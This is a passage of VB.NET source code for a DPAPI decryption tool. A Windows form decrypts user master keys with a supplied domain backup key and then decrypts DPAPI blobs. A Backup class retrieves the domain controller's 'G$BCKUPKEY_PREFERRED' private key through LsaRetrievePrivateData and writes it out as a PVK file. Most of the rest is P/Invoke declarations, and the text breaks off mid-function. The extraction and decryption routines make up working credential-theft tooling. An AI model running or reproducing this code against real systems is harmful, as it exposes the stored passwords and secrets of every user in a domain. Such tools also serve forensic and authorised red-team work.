Imports System
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports Microsoft.VisualBasic
Imports System.Security.Cryptography
Imports System.Security.Principal
Imports System.Text.RegularExpressions
Imports System.IO
Imports System.Xml
Imports System.Security
Public Class Form1
Dim GMappings As New Dictionary(Of String, String)
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
'Use this website to generate the Base64 values from the Hex Strings
'https://base64.guru/converter/encode/hex
Try
Dim pvk64 As String = "HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAAEAAQCNx+xLTsR+xN3d0mRGbmG PLACE YOUR MASTER KEY HERE fzhSXebHVG+2Ea2F6BihR8="
Dim backupKeyBytes As Byte() = Convert.FromBase64String(pvk64)
Dim Localmappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)
Localmappings = Triage.TriageUserMasterKeys(backupKeyBytes, False)
Dim CustomMappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)
CustomMappings = Triage.LoadKeysFromFolder(backupKeyBytes, "C:\Users\MyUserName\Desktop\New folder\Protect")
GMappings = Localmappings.Union(CustomMappings).ToDictionary(Function(p) p.Key, Function(p) p.Value)
If GMappings.Count = 0 Then
Console.WriteLine("[!] No master keys decrypted!" & vbCrLf)
Else
Console.WriteLine("[*] User master key cache:" & vbCrLf)
For Each kvp As KeyValuePair(Of String, String) In GMappings
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value)
Next
Console.WriteLine()
End If
DecryptTest()
Catch ex As Exception
While Not (ex Is Nothing)
Console.WriteLine(ex.Message)
ex = ex.InnerException
End While
End Try
End Sub
Private Sub NativeDecryptTest()
Dim text As String = "ThisIsMyEncrptedTest"
Dim entropy As String = Nothing
Dim description As String
Dim encrypted As String
Dim decrypted As String
Console.WriteLine("Plaintext: {0}" & Chr(13) & Chr(10), text)
' Call DPAPI to encrypt data with user-specific key.
encrypted = DPAPI.Encrypt(DPAPI.KeyType.UserKey, text, entropy, "")
Console.WriteLine("Encrypted with Userkey: {0}" & Chr(13) & Chr(10), encrypted)
' Call DPAPI to encrypt data with user-specific key.
encrypted = DPAPI.Encrypt(DPAPI.KeyType.MachineKey, text, entropy, "")
Console.WriteLine("Encrypted with SystemKey: {0}" & Chr(13) & Chr(10), encrypted)
' Call DPAPI to decrypt data.
decrypted = DPAPI.Decrypt(encrypted, entropy, description)
Console.WriteLine("Decrypted: {0} <<<{1}>>>" & Chr(13) & Chr(10), decrypted, description)
End Sub
Private Sub DecryptTest()
Dim blobBytes As Byte()
blobBytes = Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAvasm9fxHbkGMktix41J5OAAAAAACAAAAAAADZgAAwAAAABAAAABXxVa3PA56MLNMVKnrdAgfAAAAAASAAACgAAAAEAAAAKwDfmoDSCAXkpDJrW32/bEQAAAA53DM14+h1XhH9DHztLkMnhQAAABRRkW7ulBuOJP2wOHKDJ4OyWo6LA==")
Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")
If decBytes.Length <> 0 Then
Console.WriteLine()
If Helpers.IsUnicode(decBytes) Then
Console.WriteLine(" dec(blob) : {0}", System.Text.Encoding.Unicode.GetString(decBytes))
Else
Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")
Console.WriteLine(" dec(blob) : {0}", b64DecBytesString)
Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(decBytes))
End If
End If
End Sub
Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
Try
Dim blobBytes As Byte()
'blobBytes = StringToByteArray("01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bdab26f5fc476e418c92d8b1e35279380000000002000000000003660000c00000001000000057c556b73c0e7a30b34c54a9eb74081f0000000004800000a000000010000000ac037e6a034820179290c9ad6df6fdb110000000e770ccd78fa1d57847f431f3b4b90c9e14000000514645bbba506e3893f6c0e1ca0c9e0ec96a3a2c")
blobBytes = StringToByteArray(RichTextBox1.Text.Trim.Replace(vbCr, "").Replace(vbLf, ""))
Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")
If decBytes.Length <> 0 Then
TextBox2.Text = ""
If Helpers.IsUnicode(decBytes) Then
TextBox2.Text &= (" dec(blob) : " & System.Text.Encoding.Unicode.GetString(decBytes))
Else
Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")
TextBox2.Text &= (" dec(blob) : " & b64DecBytesString)
TextBox2.Text &= vbCrLf & "Value: " & System.Text.ASCIIEncoding.ASCII.GetString(decBytes)
End If
End If
Catch ex As Exception
TextBox2.Text = "Unable to display"
End Try
End Sub
Public Shared Function StringToByteArray(s As String) As Byte()
' remove any spaces from, e.g. "A0 20 34 34"
s = s.Replace(" "c, "")
' make sure we have an even number of digits
If (s.Length And 1) = 1 Then
Throw New FormatException("Odd string length when even string length Is required.")
End If
' calculate the length of the byte array and dim an array to that
Dim nBytes = s.Length \ 2
Dim a(nBytes - 1) As Byte
' pick out every two bytes and convert them from hex representation
For i = 0 To nBytes - 1
a(i) = Convert.ToByte(s.Substring(i * 2, 2), 16)
Next
Return a
End Function
End Class
Public Class Backup
Public Shared Sub GetBackupKey(ByVal system As String, ByVal Optional outFile As String = "")
Dim aSystemName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(system)
Dim aWinErrorCode As UInteger = 0
Dim LsaPolicyHandle = IntPtr.Zero
Dim aObjectAttributes As Interop.LSA_OBJECT_ATTRIBUTES = New Interop.LSA_OBJECT_ATTRIBUTES
aObjectAttributes.Length = 0
aObjectAttributes.RootDirectory = IntPtr.Zero
aObjectAttributes.Attributes = 0
aObjectAttributes.SecurityDescriptor = IntPtr.Zero
aObjectAttributes.SecurityQualityOfService = IntPtr.Zero
Dim aOpenPolicyResult As UInteger = Interop.LsaOpenPolicy(aSystemName, aObjectAttributes, CUInt(Interop.LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION), LsaPolicyHandle)
aWinErrorCode = Interop.LsaNtStatusToWinError(aOpenPolicyResult)
If aWinErrorCode = &H0 Then
Dim PrivateData = IntPtr.Zero
Dim secretName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING("G$BCKUPKEY_PREFERRED")
Dim ntsResult As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, secretName, PrivateData)
If ntsResult <> 0 Then
Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult)
Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message
Console.WriteLine(" [X] Error calling LsaRetrievePrivateData {0} : {1}", winErrorCode, errorMessage)
Return
End If
Dim lusSecretData As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateData, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)
Dim guidBytes = New Byte(lusSecretData.Length - 1) {}
Marshal.Copy(lusSecretData.buffer, guidBytes, 0, lusSecretData.Length)
Dim backupKeyGuid = New Guid(guidBytes)
Console.WriteLine("[*] Preferred backupkey Guid : {0}", backupKeyGuid.ToString)
Dim backupKeyName = String.Format("G$BCKUPKEY_{0}", backupKeyGuid.ToString)
Console.WriteLine("[*] Full preferred backupKeyName : {0}", backupKeyName)
Dim backupKeyLSA As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(backupKeyName)
Dim PrivateDataKey = IntPtr.Zero
Dim ntsResult2 As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, backupKeyLSA, PrivateDataKey)
If ntsResult2 <> 0 Then
Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult2)
Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message
Console.WriteLine(vbCrLf & "[X] Error calling LsaRetrievePrivateData ({0}) : {1}" & vbCrLf, winErrorCode, errorMessage)
Return
End If
Dim backupKeyBytes As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateDataKey, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)
Dim backupKey = New Byte(backupKeyBytes.Length - 1) {}
Marshal.Copy(backupKeyBytes.buffer, backupKey, 0, backupKeyBytes.Length)
Dim versionArray = New Byte(3) {}
Array.Copy(backupKey, 0, versionArray, 0, 4)
Dim version = BitConverter.ToInt32(versionArray, 0)
Dim keyLenArray = New Byte(3) {}
Array.Copy(backupKey, 4, keyLenArray, 0, 4)
Dim keyLen = BitConverter.ToInt32(keyLenArray, 0)
Dim certLenArray = New Byte(3) {}
Array.Copy(backupKey, 8, certLenArray, 0, 4)
Dim certLen = BitConverter.ToInt32(certLenArray, 0)
Dim backupKeyPVK = New Byte(keyLen + 24 - 1) {}
Array.Copy(backupKey, 12, backupKeyPVK, 24, keyLen)
backupKeyPVK(0) = &H1E
backupKeyPVK(1) = &HF1
backupKeyPVK(2) = &HB5
backupKeyPVK(3) = &HB0
backupKeyPVK(8) = 1
Dim lenBytes = BitConverter.GetBytes(CUInt(keyLen))
Array.Copy(lenBytes, 0, backupKeyPVK, 20, 4)
Dim Key As String = Nothing
If String.IsNullOrEmpty(outFile) Then
Dim base64Key = Convert.ToBase64String(backupKeyPVK)
Console.WriteLine("[*] Key :")
For Each line As String In Helpers.Split(base64Key, 80)
Console.WriteLine(" {0}", line)
Key &= line
Next
Else
Dim fs As FileStream = File.Create(outFile)
Dim bw = New BinaryWriter(fs)
bw.Write(backupKeyPVK)
bw.Close()
fs.Close()
Console.WriteLine("[*] Backup key written to : {0}", outFile)
End If
Interop.LsaFreeMemory(PrivateData)
Interop.LsaClose(LsaPolicyHandle)
Else
Dim errorMessage As String = New Win32Exception(CInt(aWinErrorCode)).Message
Console.WriteLine(vbCrLf & "[X] Error calling LsaOpenPolicy ({0}) : {1}" & vbCrLf, aWinErrorCode, errorMessage)
End If
End Sub
End Class
Public Class Interop
Public Enum CryptAlgClass As UInteger
ALG_CLASS_ANY = 0
ALG_CLASS_SIGNATURE = 1 << 13
ALG_CLASS_MSG_ENCRYPT = 2 << 13
ALG_CLASS_DATA_ENCRYPT = 3 << 13
ALG_CLASS_HASH = 4 << 13
ALG_CLASS_KEY_EXCHANGE = 5 << 13
ALG_CLASS_ALL = 7 << 13
End Enum
Public Enum CryptAlgType As UInteger
ALG_TYPE_ANY = 0
ALG_TYPE_DSS = 1 << 9
ALG_TYPE_RSA = 2 << 9
ALG_TYPE_BLOCK = 3 << 9
ALG_TYPE_STREAM = 4 << 9
ALG_TYPE_DH = 5 << 9
ALG_TYPE_SECURECHANNEL = 6 << 9
End Enum
Public Enum CryptAlgSID As UInteger
ALG_SID_ANY = 0
ALG_SID_RSA_ANY = 0
ALG_SID_RSA_PKCS = 1
ALG_SID_RSA_MSATWORK = 2
ALG_SID_RSA_ENTRUST = 3
ALG_SID_RSA_PGP = 4
ALG_SID_DSS_ANY = 0
ALG_SID_DSS_PKCS = 1
ALG_SID_DSS_DMS = 2
ALG_SID_ECDSA = 3
ALG_SID_DES = 1
ALG_SID_3DES = 3
ALG_SID_DESX = 4
ALG_SID_IDEA = 5
ALG_SID_CAST = 6
ALG_SID_SAFERSK64 = 7
ALG_SID_SAFERSK128 = 8
ALG_SID_3DES_112 = 9
ALG_SID_CYLINK_MEK = 12
ALG_SID_RC5 = 13
ALG_SID_AES_128 = 14
ALG_SID_AES_192 = 15
ALG_SID_AES_256 = 16
ALG_SID_AES = 17
ALG_SID_SKIPJACK = 10
ALG_SID_TEK = 11
ALG_SID_RC2 = 2
ALG_SID_RC4 = 1
ALG_SID_SEAL = 2
ALG_SID_DH_SANDF = 1
ALG_SID_DH_EPHEM = 2
ALG_SID_AGREED_KEY_ANY = 3
ALG_SID_KEA = 4
ALG_SID_ECDH = 5
ALG_SID_MD2 = 1
ALG_SID_MD4 = 2
ALG_SID_MD5 = 3
ALG_SID_SHA = 4
ALG_SID_SHA1 = 4
ALG_SID_MAC = 5
ALG_SID_RIPEMD = 6
ALG_SID_RIPEMD160 = 7
ALG_SID_SSL3SHAMD5 = 8
ALG_SID_HMAC = 9
ALG_SID_TLS1PRF = 10
ALG_SID_HASH_REPLACE_OWF = 11
ALG_SID_SHA_256 = 12
ALG_SID_SHA_384 = 13
ALG_SID_SHA_512 = 14
ALG_SID_SSL3_MASTER = 1
ALG_SID_SCHANNEL_MASTER_HASH = 2
ALG_SID_SCHANNEL_MAC_KEY = 3
ALG_SID_PCT1_MASTER = 4
ALG_SID_SSL2_MASTER = 5
ALG_SID_TLS1_MASTER = 6
ALG_SID_SCHANNEL_ENC_KEY = 7
ALG_SID_ECMQV = 1
End Enum
Public Enum CryptAlg As UInteger
CALG_MD2 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD2
CALG_MD4 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD4
CALG_MD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5
CALG_SHA = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA
CALG_SHA1 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA1
CALG_MAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MAC
CALG_RSA_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY
CALG_DSS_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_DSS_ANY
CALG_NO_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ANY
CALG_RSA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY
CALG_DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DES
CALG_3DES_112 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES_112
CALG_3DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES
CALG_DESX = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DESX
CALG_RC2 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC2
CALG_RC4 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_RC4
CALG_SEAL = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_SEAL
CALG_DH_SF = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_SANDF
CALG_DH_EPHEM = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_EPHEM
CALG_AGREEDKEY_ANY = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_AGREED_KEY_ANY
CALG_KEA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_KEA
CALG_HUGHES_MD5 = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5
CALG_SKIPJACK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_SKIPJACK
CALG_TEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_TEK
CALG_CYLINK_MEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_CYLINK_MEK
CALG_SSL3_SHAMD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SSL3SHAMD5
CALG_SSL3_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL3_MASTER
CALG_SCHANNEL_MASTER_HASH = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MASTER_HASH
CALG_SCHANNEL_MAC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MAC_KEY
CALG_SCHANNEL_ENC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_ENC_KEY
CALG_PCT1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_PCT1_MASTER
CALG_SSL2_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL2_MASTER
CALG_TLS1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_TLS1_MASTER
CALG_RC5 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC5
CALG_HMAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HMAC
CALG_TLS1PRF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_TLS1PRF
CALG_HASH_REPLACE_OWF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HASH_REPLACE_OWF
CALG_AES_128 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_128
CALG_AES_192 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_192
CALG_AES_256 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_256
CALG_AES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES
CALG_SHA_256 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_256
CALG_SHA_384 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_384
CALG_SHA_512 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_512
CALG_ECDH = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_ECDH
CALG_ECMQV = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ECMQV
CALG_ECDSA = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_ECDSA
End Enum
<StructLayout(LayoutKind.Sequential)>
Public Structure LSA_UNICODE_STRING
Implements IDisposable
Public Length As UShort
Public MaximumLength As UShort
Public buffer As IntPtr
Public Sub New(ByVal s As String)
Length = CUShort(s.Length * 2)
MaximumLength = CUShort(Length + 2)
buffer = Marshal.StringToHGlobalUni(s)
End Sub
Public Sub Dispose() Implements IDisposable.Dispose
Marshal.FreeHGlobal(buffer)
buffer = IntPtr.Zero
End Sub
Public Overrides Function ToString() As String
Return Marshal.PtrToStringUni(buffer)
End Function
End Structure
Public Enum POLICY_INFORMATION_CLASS
PolicyAuditLogInformation = 1
PolicyAuditEventsInformation
PolicyPrimaryDomainInformation
PolicyPdAccountInformation
PolicyAccountDomainInformation
PolicyLsaServerRoleInformation
PolicyReplicaSourceInformation
PolicyDefaultQuotaInformation
PolicyModificationInformation
PolicyAuditFullSetInformation
PolicyAuditFullQueryInformation
PolicyDnsDomainInformation
End Enum
Public Enum LSA_AccessPolicy As Long
POLICY_VIEW_LOCAL_INFORMATION = &H1L
POLICY_VIEW_AUDIT_INFORMATION = &H2L
POLICY_GET_PRIVATE_INFORMATION = &H4L
POLICY_TRUST_ADMIN = &H8L
POLICY_CREATE_ACCOUNT = &H10L
POLICY_CREATE_SECRET = &H20L
POLICY_CREATE_PRIVILEGE = &H40L
POLICY_SET_DEFAULT_QUOTA_LIMITS = &H80L
POLICY_SET_AUDIT_REQUIREMENTS = &H100L
POLICY_AUDIT_LOG_ADMIN = &H200L
POLICY_SERVER_ADMIN = &H400L
POLICY_LOOKUP_NAMES = &H800L
POLICY_NOTIFICATION = &H1000L
End Enum
Public Structure LSA_OBJECT_ATTRIBUTES
Public Length As UInteger
Public RootDirectory As IntPtr
Public ObjectName As LSA_UNICODE_STRING
Public Attributes As UInteger
Public SecurityDescriptor As IntPtr
Public SecurityQualityOfService As IntPtr
End Structure
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
Public Structure DOMAIN_CONTROLLER_INFO
<MarshalAs(UnmanagedType.LPTStr)>
Public DomainControllerName As String
<MarshalAs(UnmanagedType.LPTStr)>
Public DomainControllerAddress As String
Public DomainControllerAddressType As UInteger
Public DomainGuid As Guid
<MarshalAs(UnmanagedType.LPTStr)>
Public DomainName As String
<MarshalAs(UnmanagedType.LPTStr)>
Public DnsForestName As String
Public Flags As UInteger
<MarshalAs(UnmanagedType.LPTStr)>
Public DcSiteName As String
<MarshalAs(UnmanagedType.LPTStr)>
Public ClientSiteName As String
End Structure
<Flags>
Public Enum DSGETDCNAME_FLAGS As UInteger
DS_FORCE_REDISCOVERY = &H1
DS_DIRECTORY_SERVICE_REQUIRED = &H10
DS_DIRECTORY_SERVICE_PREFERRED = &H20
DS_GC_SERVER_REQUIRED = &H40
DS_PDC_REQUIRED = &H80
DS_BACKGROUND_ONLY = &H100
DS_IP_REQUIRED = &H200
DS_KDC_REQUIRED = &H400
DS_TIMESERV_REQUIRED = &H800
DS_WRITABLE_REQUIRED = &H1000
DS_GOOD_TIMESERV_PREFERRED = &H2000
DS_AVOID_SELF = &H4000
DS_ONLY_LDAP_NEEDED = &H8000
DS_IS_FLAT_NAME = &H10000
DS_IS_DNS_NAME = &H20000
DS_RETURN_DNS_NAME = &H40000000
DS_RETURN_FLAT_NAME = &H80000000UI
End Enum
<DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>
Public Shared Function LsaOpenPolicy(ByRef SystemName As LSA_UNICODE_STRING, ByRef ObjectAttributes As LSA_OBJECT_ATTRIBUTES, ByVal DesiredAccess As UInteger, <Out> ByRef PolicyHandle As IntPtr) As UInteger
End Function
<DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>
Public Shared Function LsaRetrievePrivateData(ByVal PolicyHandle As IntPtr, ByRef KeyName As LSA_UNICODE_STRING, <Out> ByRef PrivateData As IntPtr) As UInteger
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function LsaNtStatusToWinError(ByVal status As UInteger) As UInteger
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function LsaClose(ByVal ObjectHandle As IntPtr) As UInteger
End Function
<DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>
Public Shared Function LsaFreeMemory(ByVal buffer As IntPtr) As UInteger
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As UInteger, <Out> ByRef TokenHandle As IntPtr) As Boolean
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function DuplicateToken(ByVal ExistingTokenHandle As IntPtr, ByVal SECURITY_IMPERSONATION_LEVEL As Integer, ByRef DuplicateTokenHandle As IntPtr) As Boolean
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function ImpersonateLoggedOnUser(ByVal hToken As IntPtr) As Boolean
End Function
<DllImport("kernel32.dll", SetLastError:=True)>
Public Shared Function CloseHandle(ByVal hObject As IntPtr) As Boolean
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function RevertToSelf() As Boolean
End Function
<Flags>
Public Enum IsTextUnicodeFlags As Integer
IS_TEXT_UNICODE_ASCII16 = &H1
IS_TEXT_UNICODE_REVERSE_ASCII16 = &H10
IS_TEXT_UNICODE_STATISTICS = &H2
IS_TEXT_UNICODE_REVERSE_STATISTICS = &H20
IS_TEXT_UNICODE_CONTROLS = &H4
IS_TEXT_UNICODE_REVERSE_CONTROLS = &H40
IS_TEXT_UNICODE_SIGNATURE = &H8
IS_TEXT_UNICODE_REVERSE_SIGNATURE = &H80
IS_TEXT_UNICODE_ILLEGAL_CHARS = &H100
IS_TEXT_UNICODE_ODD_LENGTH = &H200
IS_TEXT_UNICODE_DBCS_LEADBYTE = &H400
IS_TEXT_UNICODE_NULL_BYTES = &H1000
IS_TEXT_UNICODE_UNICODE_MASK = &HF
IS_TEXT_UNICODE_REVERSE_MASK = &HF0
IS_TEXT_UNICODE_NOT_UNICODE_MASK = &HF00
IS_TEXT_UNICODE_NOT_ASCII_MASK = &HF000
End Enum
<DllImport("Advapi32", SetLastError:=False)>
Public Shared Function IsTextUnicode(ByVal buf As Byte(), ByVal len As Integer, ByRef opt As IsTextUnicodeFlags) As Boolean
End Function
<DllImport("advapi32.dll", CharSet:=CharSet.Auto)>
Public Shared Function RegOpenKeyEx(ByVal hKey As UInteger, ByVal subKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef hkResult As IntPtr) As Integer
End Function
<DllImport("advapi32.dll")>
Public Shared Function RegQueryInfoKey(ByVal hkey As IntPtr, ByVal lpClass As StringBuilder, ByRef lpcbClass As Integer, ByVal lpReserved As Integer, ByRef lpcSubKeys As IntPtr, ByRef lpcbMaxSubKeyLen As IntPtr, ByRef lpcbMaxClassLen As IntPtr, ByRef lpcValues As IntPtr, ByRef lpcbMaxValueNameLen As IntPtr, ByRef lpcbMaxValueLen As IntPtr, ByRef lpcbSecurityDescriptor As IntPtr, ByVal lpftLastWriteTime As IntPtr) As Integer
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function RegQueryValueEx(ByVal hKey As IntPtr, ByVal lpValueName As String, ByVal lpReserved As Integer, ByVal type As IntPtr, ByVal lpData As IntPtr, ByRef lpcbData As Integer) As Integer
End Function
<DllImport("advapi32.dll", SetLastError:=True)>
Public Shared Function RegCloseKey(ByVal hKey As IntPtr) As Integer
End Function
<DllImport("shlwapi.dll", CharSet:=CharSet.Unicode)>
Friend Shared Function PathIsUNC(
<MarshalAs(UnmanagedType.LPWStr), [In]> ByVal pszPath As String) As Boolean
End Function
<DllImport("Netapi32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Public Shared Function DsGetDcName(
<MarshalAs(UnmanagedType.LPTStr)> ByVal ComputerName As String,
<MarshalAs(UnmanagedType.LPTStr)> ByVal DomainName As String,
<[In]> ByVal DomainGuid As Integer,
<MarshalAs(UnmanagedType.LPTStr)> ByVal SiteName As String,
<MarshalAs(UnmanagedType.U4)> ByVal flags As DSGETDCNAME_FLAGS, <Out> ByRef pDOMAIN_CONTROLLER_INFO As IntPtr) As Integer
End Function
<DllImport("Netapi32.dll", SetLastError:=True)>
Public Shared Function NetApiBufferFree(ByVal Buffer As IntPtr) As Integer
End Function
Public Shared Function GetDCName() As String
Dim domainInfo As DOMAIN_CONTROLLER_INFO
Const ERROR_SUCCESS = 0
Dim pDCI = IntPtr.Zero
Dim val = DsGetDcName("", "", 0, "", DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED Or DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME Or DSGETDCNAME_FLAGS.DS_IP_REQUIRED, pDCI)
If ERROR_SUCCESS = val Then
